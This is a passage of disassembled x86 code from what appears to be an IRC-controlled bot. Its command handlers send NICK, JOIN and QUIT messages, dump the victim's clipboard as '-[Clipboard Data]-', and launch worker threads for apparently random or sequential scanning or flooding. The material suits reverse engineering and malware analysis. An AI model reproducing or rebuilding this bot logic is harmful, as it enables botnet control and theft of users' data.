		test	eax, eax
		push	edi
		jz	short loc_413AC5
		push	offset unk_4305BC
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_413AC5:				; CODE XREF: sub_40EE72+4C47j
		push	offset unk_430578
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_413ACF:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	byte_42F5C4, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_430544
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AE4:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E94
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_412FD0
; ---------------------------------------------------------------------------

loc_413B32:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2610E42h
		nop
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	dword_43AE30
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_440804[eax]
		nop
		call	near ptr 27F0875h
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	dword_440804[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_4405F0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413BDD:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C1B
		call	sub_416F25
		cmp	eax, ebx
		jle	short loc_413C11
		push	eax
		push	offset dword_4304F8

loc_413BFD:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0

loc_413C09:				; CODE XREF: sub_40EE72+3CA4j
		add	esp, 0Ch
		jmp	loc_41460C
; ---------------------------------------------------------------------------

loc_413C11:				; CODE XREF: sub_40EE72+4D83j
		push	offset dword_4304C0
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_413C1B:				; CODE XREF: sub_40EE72+4D7Aj
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax

loc_413C37:				; CODE XREF: sub_40EE72+4E36j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E97
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5E
		push	offset dword_43048C
		jmp	short loc_413C63
; ---------------------------------------------------------------------------

loc_413C5E:				; CODE XREF: sub_40EE72+4DE3j
		push	offset dword_430450

loc_413C63:				; CODE XREF: sub_40EE72+4DEAj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C93
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_413C93:				; CODE XREF: sub_40EE72+4E03j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C37
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413CAF:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_430428
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413CE9:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_430DC4
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_4303F8
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D05:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_4303C8
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D28:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_430394
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D44:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx

loc_413D5B:				; CODE XREF: sub_40EE72+4EF1j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D5B
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx

loc_413D70:				; CODE XREF: sub_40EE72+51BCj
		push	8
		call	sub_416FA4
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 3E8h
		jle	short loc_413DBF
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_4316D8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414025
; ---------------------------------------------------------------------------

loc_413DBF:				; CODE XREF: sub_40EE72+4F18j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+var_318], 64h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 270Fh
		mov	[ebp+arg_0], ebx
		jz	short loc_413E30
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]

loc_413DFA:				; CODE XREF: sub_40EE72+4FA0j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E16
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DFA
		jmp	short loc_413E30
; ---------------------------------------------------------------------------

loc_413E16:				; CODE XREF: sub_40EE72+4F96j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_413E30:				; CODE XREF: sub_40EE72+4F7Bj
					; sub_40EE72+4FA2j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43AD3C
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED2

loc_413EB0:				; CODE XREF: sub_40EE72+505Ej
		cmp	eax, ebx
		jz	short loc_413ED2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EB0

loc_413ED2:				; CODE XREF: sub_40EE72+503Cj
					; sub_40EE72+5040j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		push	offset byte_436EDC
		push	offset aF	; "#f"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3C
		push	offset aF	; "#f"
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F42
; ---------------------------------------------------------------------------

loc_413F3C:				; CODE XREF: sub_40EE72+50B1j
		mov	[ebp+var_3B4], bl

loc_413F42:				; CODE XREF: sub_40EE72+50C8j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F54
		mov	eax, offset aSequential	; "Sequential"

loc_413F54:				; CODE XREF: sub_40EE72+50DBj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_43031C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_413FDE

loc_413FCC:				; CODE XREF: sub_40EE72+516Aj
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF9
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_413FCC
; ---------------------------------------------------------------------------

loc_413FDE:				; CODE XREF: sub_40EE72+5158j
		call	near ptr 2660AEBh
		nop
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4315C8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_413FF9:				; CODE XREF: sub_40EE72+5160j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414018
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414018:				; CODE XREF: sub_40EE72+518Aj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_414025:				; CODE XREF: sub_40EE72+4F48j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D70
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_414039:				; CODE XREF: sub_40EE72+3108j
					; sub_40EE72+4FC4j
		push	offset unk_4302D8
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_414043:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_4302A0
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4140DC

loc_4140C9:				; CODE XREF: sub_40EE72+5268j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_4140C9
; ---------------------------------------------------------------------------

loc_4140DC:				; CODE XREF: sub_40EE72+5255j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_430254
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_4140ED:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414103
		push	offset unk_430228
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_414103:				; CODE XREF: sub_40EE72+5285j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414126
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41413A
; ---------------------------------------------------------------------------

loc_414126:				; CODE XREF: sub_40EE72+529Aj
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2670000h
		nop

loc_41413A:				; CODE XREF: sub_40EE72+52B2j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_41414A
		mov	esi, offset byte_42F674

loc_41414A:				; CODE XREF: sub_40EE72+52D1j
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41421D

loc_414207:				; CODE XREF: sub_40EE72+53A9j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_414207
; ---------------------------------------------------------------------------

loc_41421D:				; CODE XREF: sub_40EE72+5393j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_4301E0
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_41422E:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414252
; ---------------------------------------------------------------------------

loc_41424D:				; CODE XREF: sub_40EE72+53C5j
					; sub_40EE72+53D0j
		mov	eax, dword_42F5B0

loc_414252:				; CODE XREF: sub_40EE72+53D9j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414285
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4142B0
; ---------------------------------------------------------------------------

loc_414285:				; CODE XREF: sub_40EE72+5400j
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		nop
		call	near ptr 2620000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h

loc_4142B0:				; CODE XREF: sub_40EE72+5411j
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142DB
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl

loc_4142DB:				; CODE XREF: sub_40EE72+5453j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414393

loc_41437D:				; CODE XREF: sub_40EE72+551Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_41437D
; ---------------------------------------------------------------------------

loc_414393:				; CODE XREF: sub_40EE72+5509j
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_430198
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_4143A4:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C8
; ---------------------------------------------------------------------------

loc_4143C3:				; CODE XREF: sub_40EE72+553Bj
					; sub_40EE72+5546j
		mov	eax, dword_42F5B4

loc_4143C8:				; CODE XREF: sub_40EE72+554Fj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DF
		lea	eax, [ebp+var_D8]

loc_4143DF:				; CODE XREF: sub_40EE72+5565j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_414401
		mov	esi, offset byte_436EDC

loc_414401:				; CODE XREF: sub_40EE72+5588j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_43014C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset word_41570E
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4144CA

loc_4144B8:				; CODE XREF: sub_40EE72+5656j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E5
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_4144B8
; ---------------------------------------------------------------------------

loc_4144CA:				; CODE XREF: sub_40EE72+5644j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_430100

loc_4144D6:				; CODE XREF: sub_40EE72+3625j
					; sub_40EE72+3722j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4144E5:				; CODE XREF: sub_40EE72+3609j
					; sub_40EE72+3706j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------

loc_4144F5:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414508
		push	esi
		call	sub_41781F
		jmp	short loc_41450F
; ---------------------------------------------------------------------------

loc_414508:				; CODE XREF: sub_40EE72+568Cj
		push	8
		call	sub_416FC3

loc_41450F:				; CODE XREF: sub_40EE72+5694j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB

loc_41452A:				; CODE XREF: sub_40EE72+5B67j
		add	esp, 10h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_414532:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, dword_43ACC0
		cmp	eax, ebx
		jz	short loc_41454F
		call	eax
		test	eax, eax
		jz	short loc_414548
		push	offset unk_4300CC
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414548:				; CODE XREF: sub_40EE72+56CDj
		push	offset unk_430090
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_41454F:				; CODE XREF: sub_40EE72+56C7j
		push	offset dword_430054
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414556:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_41457A
		push	offset dword_430020

loc_414564:				; CODE XREF: sub_40EE72+4AFCj
					; sub_40EE72+56D4j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------

loc_41457A:				; CODE XREF: sub_40EE72+56EBj
		push	offset unk_42FFE4
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414581:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4145A0
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4145A0:				; CODE XREF: sub_40EE72+5712j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FFA4

loc_4145BD:				; CODE XREF: sub_40EE72+5A09j
					; sub_40EE72+5A3Bj
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_4145CA:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_4145DD
		push	offset dword_42FF6C
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------

loc_4145DD:				; CODE XREF: sub_40EE72+5762j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F9
		push	offset dword_42FF34
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------

loc_4145F9:				; CODE XREF: sub_40EE72+577Ej
		push	offset dword_42FF04

loc_4145FE:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41460C:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]

loc_414619:				; CODE XREF: sub_40EE72+3961j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]

loc_414629:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E11
; ---------------------------------------------------------------------------

loc_414636:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41464F:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41466C:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		call	near ptr 2610602h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414695
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax

loc_414695:				; CODE XREF: sub_40EE72+5818j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AE
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F47

loc_4146AE:				; CODE XREF: sub_40EE72+5831j
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FEDC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------

loc_4146F1:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_42FEAC
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_41470F:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414738
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42FE78
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------

loc_414738:				; CODE XREF: sub_40EE72+58A7j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414799
		push	esi
		push	offset aFull	; "full"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
